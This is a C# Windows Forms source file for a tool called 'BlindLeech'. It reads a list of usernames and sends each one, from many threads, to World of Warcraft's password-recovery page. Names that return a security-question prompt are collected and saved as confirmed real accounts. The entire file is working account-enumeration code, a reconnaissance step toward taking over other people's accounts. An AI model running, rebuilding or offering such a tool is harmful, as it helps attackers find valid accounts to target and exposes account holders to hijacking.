using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Reflection;
using System.Net;
using System.Collections.Specialized;
using System.Threading;

namespace BlindLeech
{
    public partial class Form1 : Form
    {
        //Global Variables
        int UsernamePosition = -1;
        int ActualLabelTwoCounter = 0;
        
        public Form1()
        {
            InitializeComponent();
        }

        //Loading Username list into "Usernames" listbox
        private void button1_Click(object sender, EventArgs e){

            OpenFileDialog Open = new OpenFileDialog();
            Open.Filter = "Text Document|*.txt|All Files|*.*";
            try{
                Open.ShowDialog();
                StreamReader Import = new StreamReader(Convert.ToString(Open.FileName));
                
                while (Import.Peek() >= 0)
                    listBox1.Items.Add(Convert.ToString(Import.ReadLine()));
            }
            
                catch (Exception ex){
                MessageBox.Show(Convert.ToString(ex.Message));
                return;
                }

            label1.Text = "Count: " + listBox1.Items.Count;

        }//End button1_Click


        //Save usernames in "Real Usernames" listbox
        private void button2_Click(object sender, EventArgs e){

            StreamWriter Write;
            SaveFileDialog Open = new SaveFileDialog();
            try{
                Open.Filter = ("Text Document|*.txt|All Files|*.*");
                Open.ShowDialog();
                Write = new StreamWriter(Open.FileName);
                for (int i = 0; i < listBox2.Items.Count; i++){
                    Write.WriteLine(Convert.ToString(listBox2.Items[i]));
                }
                Write.Close();
            }
            catch (Exception ex){
                MessageBox.Show(Convert.ToString(ex.Message));
                return;
            } 

        }

        //Clear "Usernames" listbox
        private void button3_Click(object sender, EventArgs e){
            listBox1.Items.Clear();
        }//End button3_Click

        //Clear "Real Usernames" listbox
        private void button4_Click(object sender, EventArgs e){
            listBox2.Items.Clear();
        }

        //Start Leeching
        public void button5_Click(object sender, EventArgs e)
        {
            progressText.Text = "Checking";
            int NumberOfThreads = 30;
            
            try{
                NumberOfThreads = Convert.ToInt32(ThreadsToRun.Text);
            }
            catch{
                NumberOfThreads = 30;
            }


            if (listBox1.Items.Count > NumberOfThreads){
                try{
                    for (int j = 0; j < NumberOfThreads; j++){

                        Thread thread1 = new Thread(new ThreadStart(getSite));
                        thread1.Start();
                    }
                }

                catch (Exception ex){
                    throw ex;
                }
            }

            else{
                try{

                    for (int j = 0; j < listBox1.Items.Count-1; j++){

                        Thread thread1 = new Thread(new ThreadStart(getSite));
                        thread1.Start();
                    }
                }

                catch (Exception ex){
                    throw ex;
                }
            }
            }

            

        public void getSite()
        {
            string uri = @"http://www.worldofwarcraft.com/loginsupport/password.html";

            if (UsernamePosition < listBox1.Items.Count-1)
            {
                UsernamePosition++;
                string username = listBox1.Items[UsernamePosition].ToString();
                string data = "accountName=" + username;
                string source = "";

                source = getInfo(data, uri);
                if (source.Contains("nswer"))
                {
                    ActualLabelTwoCounter++;
                                       
                    listBox2.Invoke(new UpdateTextCallback(this.addUsername), new object[] { username });
                    label2.Invoke(new UpdateTextCallback2(this.updateCounter), new object[] { ActualLabelTwoCounter });
                }
               
                getSite();
                
            }
            else
            {
                progressText.Text = "Done Checkingish";
            }

        }// END GET SITE

        public void updateCounter(int amount)
        {
            label2.Text = "Counter: " + ActualLabelTwoCounter.ToString();

        }

        //Used to invoke username into listbox2 
        public void addUsername(string user)
        {
            // Add the listbox text
            listBox2.Items.Add(user);
        }
      
        public static string getInfo(string DATA, string URL)
        {
            HttpWebRequest req = (HttpWebRequest)System.Net.WebRequest.Create(URL);
            req.Method = "post";
            req.ContentType = "application/x-www-form-urlencoded";
            req.AllowAutoRedirect = false;

            // Encode data and post it 
            byte[] bytes = System.Text.Encoding.ASCII.GetBytes(DATA);
            req.ContentLength = DATA.Length;
            Stream os = req.GetRequestStream();
            os.Write(bytes, 0, bytes.Length);
            os.Close();

            // Get response
            HttpWebResponse resp = (HttpWebResponse)req.GetResponse();
            StreamReader ResponseStream = new StreamReader(resp.GetResponseStream());
            string Source = "";
            Source = ResponseStream.ReadToEnd();
            ResponseStream.Close();
            resp.Close();

            return Source;
        }

        //Used to invoke username into listbox2 
        public delegate void UpdateTextCallback(string user);
        public delegate void UpdateTextCallback2(int amount);
      
      
      
    }
}